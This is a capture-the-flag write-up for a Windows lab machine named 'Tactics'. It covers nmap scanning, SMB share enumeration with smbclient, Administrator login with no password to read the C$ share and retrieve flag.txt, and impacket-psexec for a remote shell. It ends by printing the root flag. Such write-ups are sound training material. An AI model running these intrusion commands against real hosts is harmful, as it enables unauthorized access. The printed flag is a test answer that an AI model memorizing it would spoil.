## **MACHINE - TACTICS**

IP: 10.129.243.129Type: Windows

#### OPEN PORTS

 $nmap -sVC -T4 -Pn -p- {IP}$ 

- [1] 135/tcp msrpc Microsoft Windows RPC
- [2] 139/tcp netbios-ssn Microsoft Windows netbios-ssn
- [3] 445/tcp microsoft-ds?

Microsoft-DS is the name given to port 445 which is used by SMB (Server Message Block). SMB is a network protocol used mainly in Windows networks for sharing resources (e.g. files or printers) over a network. It can also be used to remotely execute commands. SMB ports are generally 139 and 445. Port 139 is used by SMB dialects that communicate over NetBIOS. It's a session layer protocol desiged to use in Windows operating systems over a local network. Port 445 is used to communicate outside the LAN.

netbios-ssn. The session service facilitates the connection-oriented communication between devices in LAN. When two devices need to exchange data, they established a session using the session service. Hence, it provides services releated to the session layer of the OSI model allowing applications on separate computers to communicate over LAN.

Remote Procedure Call service supports communication between Windows applications. Specifically, the service implement the RPC protocol - a low-level form of inter-process communication where a client process can make requests of a server process.

### ENUMERATING SHARINGS

- SMB service is compose of sharings inside a Workgroup
- Some of these sharings are administrative accessible
- Some others can be accessed by everyone
- We can try to enumerate those sharings using the following command
- \$ smbclient -N -L //{IP}
  - -N = No password required, -L = list all sharings
  - However, we obtain a NT\_STATUS\_ACCESS\_DENIED

• We can try to also give the administrator username, let's say 'Administrator'

#### \$ smbclient -U Administrator -L //{IP}

• We obtain the following response

| Sharename | Type | Comment       |
|-----------|------|---------------|
|           |      |               |
| ADMIN\$   | Disk | Remote Admin  |
| C\$       | Disk | Default share |
| IPC\$     | IPC  | Remote IPC    |

- As we can see there two interesting shares (do not consider IPC\$)
- Let's see if we can obtain a session on one of them

```
\ \ smbclient -U Administrator \\\{IP}\\ADMIN$
```

smb: \> ls

. . .

- There is nothing special, let's try with the other one (maybe C is the name of the disk)
- \$ smbclient -U Administrator \\\{IP}\\C\$

| <pre>\$Recycle.Bin</pre>  | DHS   | 0         | Wed | Apr | 21 | 17:23:49 | 2021   |
|---------------------------|-------|-----------|-----|-----|----|----------|--------|
| Config.Msi                | DHS   | 0         | Wed | Jul | 7  | 20:04:56 | 2021   |
| Documents and Settings    | DHSrn | 0         | Wed | Apr | 21 | 17:17:12 | 2021   |
| pagefile.sys              | AHS   | 738197504 | Wed | Apı | 24 | 17:33:24 | 4 2024 |
| PerfLogs                  | D     | 0         | Sat | Sep | 15 | 09:19:00 | 2018   |
| Program Files             | DR    | 0         | Wed | Jul | 7  | 20:04:24 | 2021   |
| Program Files (x86)       | D     | 0         | Wed | Jul | 7  | 20:03:38 | 2021   |
| ProgramData               | DH    | 0         | Tue | Sep | 13 | 18:27:53 | 2022   |
| Recovery                  | DHSn  | 0         | Wed | Apr | 21 | 17:17:15 | 2021   |
| System Volume Information | DHS   | 0         | Wed | Apr | 21 | 17:34:04 | 2021   |
| Users                     | DR    | 0         | Wed | Apr | 21 | 17:23:18 | 2021   |
| Windows                   | D     | 0         | Wed | Jul | 7  | 20:05:23 | 2021   |

smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop> ls

| •           | DR  | 0 Thu Apr 22 09:16:03 2021   |  |
|-------------|-----|------------------------------|--|
|             | DR  | 0 Thu Apr 22 09:16:03 2021   |  |
| desktop.ini | AHS | 282 Wed Apr 21 17:23:32 2021 |  |
| flag.txt    | Α   | 32 Fri Apr 23 11:39:00 2021  |  |

smb: \Users\Administrator\Desktop> get flag.txt

smb: \Users\Administrator\Desktop> exit

\$ cat flag.txt

- We have found the flag
- Notice that we could also have used an alternative to get a shell on the system
- using psexec from the Impacket framework

\$ sudo impacket-psexec Administrator@{IP}

# **FLAGS**

ROOT: f751c19eda8f61ce81827e6930a1f40c